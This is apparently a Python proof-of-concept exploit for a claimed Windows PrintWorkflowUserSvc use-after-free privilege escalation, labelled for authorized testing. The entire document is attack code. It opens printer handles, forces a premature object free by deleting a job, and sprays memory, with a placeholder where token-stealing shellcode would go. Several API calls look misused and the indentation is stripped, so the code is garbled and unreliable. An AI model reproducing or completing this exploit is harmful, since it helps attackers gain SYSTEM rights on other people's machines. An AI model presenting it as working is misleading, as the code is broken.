The following code is for security research and authorized testing only.
python
# CVE-2025-55689 - Windows PrintWorkflowUserSvc Use After Free LPE
# PoC exploit template for local privilege escalation
# Note: This is a conceptual PoC based on the vulnerability description.
# Actual exploitation requires precise timing and memory layout control.
import ctypes
import sys
import struct
from ctypes import wintypes
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
PAGE_READWRITE = 0x04
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
def trigger_uaf():
"""
Trigger Use After Free in PrintWorkflowUserSvc
Step 1: Create a print job to allocate a workflow object
Step 2: Force the service to free the object prematurely
Step 3: Reclaim the freed memory with controlled data
Step 4: Use the dangling pointer to achieve code execution
"""
print("[*] CVE-2025-55689 PoC - PrintWorkflowUserSvc UAF LPE")
print("[*] Attempting to trigger Use After Free condition...")
# Step 1: Interact with PrintWorkflowUserSvc via print APIs
# Open printer handle to trigger workflow service interaction
PRINTER_ACCESS_USE = 0x00000008
printer_name = ctypes.c_wchar_p("Microsoft Print to PDF")
hPrinter = wintypes.HANDLE()
result = ctypes.windll.winspool.OpenPrinterW(
printer_name, ctypes.byref(hPrinter), None
)
if not result:
print("[-] Failed to open printer handle")
return False
print("[+] Printer handle obtained: 0x%x" % hPrinter.value)
# Step 2: Trigger the vulnerable code path
# Send crafted print job to trigger UAF in workflow processing
job_info_1 = (ctypes.c_wchar * 32)()
job_info_1.value = "CVE-2025-55689"
job_handle = wintypes.HANDLE()
result = ctypes.windll.winspool.StartDocPrinterW(
hPrinter, 1, ctypes.byref(job_info_1), ctypes.byref(job_handle)
)
# Step 3: Force premature free of the workflow object
# by canceling the job at a specific timing
if job_handle:
ctypes.windll.winspool.SetJobW(
hPrinter, job_handle.value, 0, None, 0x00000004 # JOB_CONTROL_DELETE
)
print("[+] Triggered premature object release")
# Step 4: Reclaim freed memory and achieve code execution
# Allocate memory to reclaim the freed region
spray_buffer = ctypes.windll.kernel32.VirtualAlloc(
None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
)
if spray_buffer:
print("[+] Memory spray buffer allocated: 0x%x" % spray_buffer)
# Fill with controlled data to hijack execution flow
payload = (ctypes.c_byte * 0x1000).from_buffer(spray_buffer)
# In a real exploit, this would contain a ROP chain or
# token-stealing shellcode for privilege escalation
ctypes.windll.winspool.ClosePrinter(hPrinter)
print("[*] PoC execution completed")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55689 - Windows PrintWorkflowUserSvc UAF")
print("CVSS: 7.0 (HIGH) | Type: Use After Free | Impact: LPE")
print("=" * 60)
trigger_uaf()